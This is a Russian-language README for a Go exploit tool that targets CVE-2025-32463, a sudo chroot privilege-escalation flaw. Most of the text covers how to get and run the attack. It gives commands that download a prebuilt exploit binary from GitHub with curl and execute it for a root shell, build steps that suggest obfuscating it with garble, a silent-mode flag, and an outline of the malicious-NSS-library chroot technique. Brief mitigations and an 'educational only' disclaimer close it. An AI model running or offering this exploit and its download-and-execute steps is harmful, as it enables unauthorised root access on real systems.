Эксплойт для CVE-2025-32463

Обзор

Этот репозиторий содержит инструмент эксплойта на Go для CVE-2025-32463 — критической уязвимости локального повышения привилегий (CVSS 9.3) в sudo версий с 1.9.14 по 1.9.17. Она позволяет неавторизованным локальным пользователям получить доступ к root, эксплуатируя уязвимость в опции --chroot (-R).

⚠️ Предупреждение: Только для образовательных целей и тестирования. Используйте в изолированных средах (например, в виртуальных машинах). Не для вредоносного использования.

Сведения об уязвимости

• CVE ID: CVE-2025-32463
• Затронутые версии: sudo 1.9.14–1.9.17
• Воздействие: Локальное повышение привилегий до root
• Описание: Эксплойт манипулирует окружением chroot, чтобы загрузить вредоносную разделяемую библиотеку, устанавливая UID/GID в 0 и запуская root-оболочку.

Предварительные требования

• Go 1.2+
• gcc
• libc-dev
• Уязвимая версия sudo
• Непривилегированный пользователь с доступом к sudo и правами на --chroot

Быстрый старт

Загрузка готового бинарника

curl -L https://github.com/1xPwn/CVE-2025-32463/releases/download/exploit/exploit -o exploit
chmod +x exploit
./exploit --execution  # Launches root shell

Сборка из исходников

git clone https://github.com/1xPwn/CVE-2025-32463.git
cd CVE-2025-32463
go build -o exploit  # Or use garble for obfuscation
./exploit --execution

Использование

Команда	Описание
./exploit --help	Показать справку по использованию
./exploit --about	Отобразить сведения о CVE
./exploit --execution	Запустить эксплойт (открывает root-оболочку)
./exploit --execution --silent	Запуск в тихом режиме

Проверка: В root-оболочке выполните id (должно показать uid=0(root)) или whoami (должно показать root).

Как это работает (на высоком уровне)

1. Создаёт временный каталог /tmp/sudowoot.stage.*
2. Генерирует вредоносный код на C (woot1337.c) для root-оболочки
3. Настраивает поддельный chroot с конфигурацией NSS
4. Компилирует в разделяемую библиотеку (libnss_/woot1337.so.2)
5. Запускает sudo -R woot woot для загрузки библиотеки и повышения привилегий
6. Автоматически удаляет временные файлы

Меры защиты

• Обновите sudo до последней версии
• Отключите chroot: добавьте Defaults !use_chroot в /etc/sudoers

Ссылки

• Запись в NVD

Отказ от ответственности

Этот инструмент предназначен для исследований в области безопасности. Автор не несёт ответственности за неправомерное использование. Всегда тестируйте ответственно.

---

Создано MNM